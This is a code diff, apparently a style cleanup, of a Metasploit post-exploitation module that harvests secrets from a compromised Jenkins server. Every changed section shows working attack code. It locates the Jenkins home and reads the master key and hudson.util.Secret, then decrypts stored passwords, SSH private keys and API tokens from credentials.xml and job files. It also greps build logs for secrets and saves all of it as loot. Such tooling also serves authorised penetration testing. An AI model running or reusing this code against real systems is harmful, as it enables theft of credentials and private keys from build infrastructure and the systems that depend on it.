@@ -20,7 +20,7 @@ def initialize(info = {})
20
20
'License' => MSF_LICENSE ,
21
21
'Author' => [ 'thesubtlety' ] ,
22
22
'Platform' => [ 'linux' , 'win' ] ,
23
- 'SessionTypes' => [ %w( shell meterpreter ) ]
23
+ 'SessionTypes' => [ %w[ shell meterpreter ] ]
24
24
) )
25
25
register_options (
26
26
[ OptBool . new ( 'STORE_LOOT' , [ false , 'Store files in loot (will simply output file to console if set to false).' , true ] ) ,
@@ -34,7 +34,7 @@ def initialize(info = {})
34
34
end
35
35
36
36
def report_creds ( user , pass )
37
- return if ( user . empty? or pass . empty? )
37
+ return if user . empty? || pass . empty?
38
38
credential_data = {
39
39
origin_type : :session ,
40
40
post_reference_name : self . fullname ,
@@ -62,7 +62,9 @@ def parse_credentialsxml(file)
62
62
63
63
xml_doc = Nokogiri ::XML ( f )
64
64
xml_doc . xpath ( "//com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl" ) . each do |node |
65
- username , password , description = "" , "" , ""
65
+ username = ""
66
+ password = ""
67
+ description = ""
66
68
username = node . xpath ( "username" ) . text
67
69
password = decrypt ( node . xpath ( "password" ) . text )
68
70
description = node . xpath ( "description" ) . text
@@ -72,21 +74,25 @@ def parse_credentialsxml(file)
72
74
end
73
75
74
76
xml_doc . xpath ( "//com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey" ) . each do |node |
75
- cred_id , username , description , passphrase , private_key = "" , "" , "" , "" , ""
77
+ cred_id = ""
78
+ username = ""
79
+ description = ""
80
+ passphrase = ""
81
+ private_key = ""
76
82
cred_id = node . xpath ( "id" ) . text
77
83
username = node . xpath ( "username" ) . text
78
84
description = node . xpath ( "description" ) . text
79
- passphrase = node . xpath ( "passphrase" ) . text . gsub ( "lneLKHOnEJRWJE7IKwLpAg==" , "" ) #jenkins v1 empty passphrase
85
+ passphrase = node . xpath ( "passphrase" ) . text . gsub ( "lneLKHOnEJRWJE7IKwLpAg==" , "" ) # jenkins v1 empty passphrase
80
86
passphrase = decrypt ( passphrase ) unless passphrase == "lneLKHOnEJRWJE7IKwLpAg=="
81
87
private_key = node . xpath ( "//privateKeySource//privateKey" ) . text
82
- private_key = decrypt ( private_key ) unless private_key . match ( /----BEGIN/ )
83
- print_good ( "SSH Key found! ID: #{ cred_id } Passphrase: #{ passphrase || " <empty>" } Username: #{ username } Description: #{ description } " )
88
+ private_key = decrypt ( private_key ) unless private_key . match? ( /----BEGIN/ )
89
+ print_good ( "SSH Key found! ID: #{ cred_id } Passphrase: #{ passphrase || ' <empty>' } Username: #{ username } Description: #{ description } " )
84
90
85
91
store_loot ( "ssh-#{ cred_id } " , 'text/plain' , session , private_key , nil , nil ) if datastore [ 'STORE_LOOT' ]
86
92
@ssh_keys << [ cred_id , description , passphrase , username , private_key ]
87
93
88
94
begin
89
- k = OpenSSL ::PKey ::RSA . new ( private_key , passphrase )
95
+ k = OpenSSL ::PKey ::RSA . new ( private_key , passphrase )
90
96
key = SSHKey . new ( k , :passphrase => passphrase , :comment => cred_id )
91
97
credential_data = {
92
98
origin_type : :session ,
@@ -99,17 +105,18 @@ def parse_credentialsxml(file)
99
105
}
100
106
create_credential ( credential_data )
101
107
rescue OpenSSL ::OpenSSLError => e
102
- print_error ( "Could not save SSH key to creds: #{ e . message } " )
108
+ print_error ( "Could not save SSH key to creds: #{ e . message } " )
103
109
end
104
110
end
105
111
end
106
112
107
113
def parse_users ( file )
108
114
f = read_file ( file )
109
- fname = file . gsub ( "\\ " , "/" ) . split ( '/' ) [ -2 ]
115
+ fname = file . tr ( "\\ " , "/" ) . split ( '/' ) [ -2 ]
110
116
vprint_status ( "Parsing user #{ fname } ..." )
111
117
112
- username , api_token = "" , ""
118
+ username = ""
119
+ api_token = ""
113
120
xml_doc = Nokogiri ::XML ( f )
114
121
xml_doc . xpath ( "//user" ) . each do |node |
115
122
username = node . xpath ( "fullName" ) . text
@@ -128,13 +135,17 @@ def parse_users(file)
128
135
129
136
def parse_nodes ( file )
130
137
f = read_file ( file )
131
- fname = file . gsub ( "\\ " , "/" ) . split ( '/' ) [ -2 ]
138
+ fname = file . tr ( "\\ " , "/" ) . split ( '/' ) [ -2 ]
132
139
vprint_status ( "Parsing node #{ fname } ..." )
133
140
134
- node_name , description , host , port , cred_id = "" , "" , "" , ""
141
+ node_name = ""
142
+ description = ""
143
+ host = ""
144
+ port = ""
145
+ cred_id = ""
135
146
xml_doc = Nokogiri ::XML ( f )
136
147
xml_doc . xpath ( "//slave" ) . each do |node |
137
- node_name = node . xpath ( "name" ) . text
148
+ node_name = node . xpath ( "name" ) . text
138
149
description = node . xpath ( "description" ) . text
139
150
end
140
151
@@ -151,10 +162,11 @@ def parse_nodes(file)
151
162
152
163
def parse_jobs ( file )
153
164
f = read_file ( file )
154
- fname = file . gsub ( "\\ " , "/" ) . split ( '/' ) [ -4 ]
165
+ fname = file . tr ( "\\ " , "/" ) . split ( '/' ) [ -4 ]
155
166
vprint_status ( "Parsing job #{ fname } ..." )
156
167
157
- username , pw = "" , ""
168
+ username = ""
169
+ pw = ""
158
170
job_name = file . split ( /\/ jobs\/ (.*?)\/ builds\/ / ) [ 1 ]
159
171
xml_doc = Nokogiri ::XML ( f )
160
172
xml_doc . xpath ( "//hudson.model.PasswordParameterValue" ) . each do |node |
@@ -169,38 +181,36 @@ def parse_jobs(file)
169
181
170
182
def pretty_print_gathered
171
183
creds_table = Rex ::Text ::Table . new (
172
- 'Header' => 'Creds' ,
173
- 'Indent' => 1 ,
174
- 'Columns' =>
184
+ 'Header' => 'Creds' ,
185
+ 'Indent' => 1 ,
186
+ 'Columns' =>
175
187
[
176
188
'Username' ,
177
189
'Password' ,
178
- 'Description' ,
190
+ 'Description'
179
191
]
180
192
)
181
193
@creds . uniq . each { |e | creds_table << e }
182
- print_good ( "\n " + creds_table . to_s ) unless creds_table . rows . count == 0
194
+ print_good ( "\n " + creds_table . to_s ) unless creds_table . rows . count . zero?
183
195
store_loot ( 'all.creds.csv' , 'text/plain' , session , creds_table . to_csv , nil , nil ) if datastore [ 'STORE_LOOT' ]
184
196
185
-
186
197
api_table = Rex ::Text ::Table . new (
187
- 'Header' => 'API Keys' ,
188
- 'Indent' => 1 ,
189
- 'Columns' =>
198
+ 'Header' => 'API Keys' ,
199
+ 'Indent' => 1 ,
200
+ 'Columns' =>
190
201
[
191
202
'Username' ,
192
- 'API Tokens' ,
203
+ 'API Tokens'
193
204
]
194
205
)
195
206
@api_tokens . uniq . each { |e | api_table << e }
196
- print_good ( "\n " + api_table . to_s ) unless api_table . rows . count == 0
207
+ print_good ( "\n " + api_table . to_s ) unless api_table . rows . count . zero?
197
208
store_loot ( 'all.apitokens.csv' , 'text/plain' , session , api_table . to_csv , nil , nil ) if datastore [ 'STORE_LOOT' ]
198
209
199
-
200
210
node_table = Rex ::Text ::Table . new (
201
- 'Header' => 'Nodes' ,
202
- 'Indent' => 1 ,
203
- 'Columns' =>
211
+ 'Header' => 'Nodes' ,
212
+ 'Indent' => 1 ,
213
+ 'Columns' =>
204
214
[
205
215
'Node Name' ,
206
216
'Hostname' ,
@@ -210,10 +220,9 @@ def pretty_print_gathered
210
220
]
211
221
)
212
222
@nodes . uniq . each { |e | node_table << e }
213
- print_good ( "\n " + node_table . to_s ) unless node_table . rows . count == 0
223
+ print_good ( "\n " + node_table . to_s ) unless node_table . rows . count . zero?
214
224
store_loot ( 'all.nodes.csv' , 'text/plain' , session , node_table . to_csv , nil , nil ) if datastore [ 'STORE_LOOT' ]
215
225
216
-
217
226
@ssh_keys . uniq . each do |e |
218
227
print_good ( "SSH Key" )
219
228
print_status ( " ID: #{ e [ 0 ] } " )
@@ -223,18 +232,18 @@ def pretty_print_gathered
223
232
print_status ( "\n #{ e [ 4 ] } " )
224
233
end
225
234
ssh_output = @ssh_keys . each { |e | e . join ( "," ) + "\n \n \n " }
226
- store_loot ( 'all.sshkeys' , 'text/plain' , session , ssh_output , nil , nil ) if datastore [ 'STORE_LOOT' ] && !ssh_output . empty?
235
+ store_loot ( 'all.sshkeys' , 'text/plain' , session , ssh_output , nil , nil ) if datastore [ 'STORE_LOOT' ] && !ssh_output . empty?
227
236
end
228
237
229
238
def grep_job_history ( path , platform )
230
239
print_status ( "Searching through job history for interesting keywords..." )
231
240
case platform
232
241
when "windows"
233
- results = cmd_exec ( "cmd.exe" , "/c findstr /s /i \" secret key token password\" \" #{ path } *log\" " )
242
+ results = cmd_exec ( "cmd.exe" , "/c findstr /s /i \" secret key token password\" \" #{ path } *log\" " )
234
243
when 'nix'
235
244
results = cmd_exec ( "/bin/egrep" , "-ir \" password|secret|key\" --include log \" #{ path } \" " )
236
245
end
237
- store_loot ( 'jobhistory.truffles' , 'text/plain' , session , results , nil , nil ) if datastore [ 'STORE_LOOT' ] && !results . empty?
246
+ store_loot ( 'jobhistory.truffles' , 'text/plain' , session , results , nil , nil ) if datastore [ 'STORE_LOOT' ] && !results . empty?
238
247
print_good ( "Job Log truffles:\n #{ results } " ) unless results . empty?
239
248
end
240
249
@@ -245,10 +254,10 @@ def find_configs(path, platform)
245
254
case session . type
246
255
when 'meterpreter'
247
256
configs = ""
248
- c = session . fs . file . search ( path , "config.xml" , recurse = true , timeout = -1 ) . concat ( session . fs . file . search ( path , "build.xml" , recurse = true , timeout = -1 ) )
249
- c . each { |f | configs << f [ "path" ] + "\\ " + f [ "name" ] + "\n " }
257
+ c = session . fs . file . search ( path , "config.xml" , recurse = true , timeout = -1 ) . concat ( session . fs . file . search ( path , "build.xml" , recurse = true , timeout = -1 ) )
258
+ c . each { |f | configs << f [ "path" ] + "\\ " + f [ "name" ] + "\n " }
250
259
else
251
- configs = cmd_exec ( "cmd.exe" , "/c dir /b /s \" #{ path } \\ *config.xml\" \" #{ path } \\ *build.xml\" " )
260
+ configs = cmd_exec ( "cmd.exe" , "/c dir /b /s \" #{ path } \\ *config.xml\" \" #{ path } \\ *build.xml\" " )
252
261
end
253
262
configs . split ( "\n " ) . each do |f |
254
263
case f
@@ -272,7 +281,7 @@ def find_configs(path, platform)
272
281
when /\/ nodes\/ /
273
282
parse_nodes ( f )
274
283
end
275
- end
284
+ end
276
285
end
277
286
end
278
287
@@ -286,7 +295,7 @@ def get_key_material(home, platform)
286
295
hudson_secret_key_path = "#{ home } /secrets/hudson.util.Secret"
287
296
end
288
297
289
- if exists? ( master_key_path ) and exists? ( hudson_secret_key_path )
298
+ if exists? ( master_key_path ) && exists? ( hudson_secret_key_path )
290
299
@master_key = read_file ( master_key_path ) . strip
291
300
@hudson_secret_key = read_file ( hudson_secret_key_path ) . strip
292
301
@@ -311,12 +320,12 @@ def find_home(platform)
311
320
when 'meterpreter'
312
321
home = session . fs . file . search ( nil , "secret.key.not-so-secret" ) [ 0 ] [ "path" ]
313
322
else
314
- home = cmd_exec ( "cmd.exe" , "/c dir /b /s c:\* secret.key.not-so-secret" , timeout = 120 ) . split ( "\\ " ) [ 0 ..-2 ] . join ( "\\ " ) . strip
323
+ home = cmd_exec ( "cmd.exe" , "/c dir /b /s c:\* secret.key.not-so-secret" , timeout = 120 ) . split ( "\\ " ) [ 0 ..-2 ] . join ( "\\ " ) . strip
315
324
end
316
325
when "nix"
317
- home = cmd_exec ( "find" , "/ -name 'secret.key.not-so-secret' 2>/dev/null" , timeout = 120 ) . split ( '/' ) [ 0 ..-2 ] . join ( '/' ) . strip
326
+ home = cmd_exec ( "find" , "/ -name 'secret.key.not-so-secret' 2>/dev/null" , timeout = 120 ) . split ( '/' ) [ 0 ..-2 ] . join ( '/' ) . strip
318
327
end
319
- fail_with ( Failure ::NotFound , "No Jenkins installation found or readable, exiting..." ) if ! exist? ( home )
328
+ fail_with ( Failure ::NotFound , "No Jenkins installation found or readable, exiting..." ) unless exist? ( home )
320
329
print_status ( "Found Jenkins installation at #{ home } " )
321
330
home
322
331
end
@@ -326,7 +335,7 @@ def gathernix
326
335
get_key_material ( home , "nix" )
327
336
parse_credentialsxml ( home + '/credentials.xml' )
328
337
find_configs ( home , "nix" )
329
- grep_job_history ( home + '/jobs/' , "nix" ) if datastore [ 'SEARCH_JOBS' ]
338
+ grep_job_history ( home + '/jobs/' , "nix" ) if datastore [ 'SEARCH_JOBS' ]
330
339
pretty_print_gathered
331
340
end
332
341
@@ -382,12 +391,10 @@ def decrypt_v2(encrypted)
382
391
cipher . iv = iv
383
392
384
393
text = cipher . update ( code ) + cipher . final
385
- if text . length == 32 #Guessing token
386
- text = Digest ::MD5 . new . update ( text ) . hexdigest
387
- end
394
+ text = Digest ::MD5 . new . update ( text ) . hexdigest if text . length == 32 # Assuming token
388
395
text
389
396
rescue StandardError => e
390
- print_error ( " #{ e } " )
397
+ print_error ( e . to_s )
391
398
return "Could not decrypt string"
392
399
end
393
400
end
@@ -406,13 +413,11 @@ def decrypt_legacy(encrypted)
406
413
cipher . key = key
407
414
408
415
text = cipher . update ( encrypted ) + cipher . final
409
- text = text [ 0 ..( text . length -magic . size -1 ) ]
410
- if text . length == 32 #Guessing token
411
- text = Digest ::MD5 . new . update ( text ) . hexdigest
412
- end
416
+ text = text [ 0 ..( text . length - magic . size - 1 ) ]
417
+ text = Digest ::MD5 . new . update ( text ) . hexdigest if text . length == 32 # Assuming token
413
418
text
414
419
rescue StandardError => e
415
- print_error ( " #{ e } " )
420
+ print_error ( e . to_s )
416
421
return "Could not decrypt string"
417
422
end
418
423
end
0 commit comments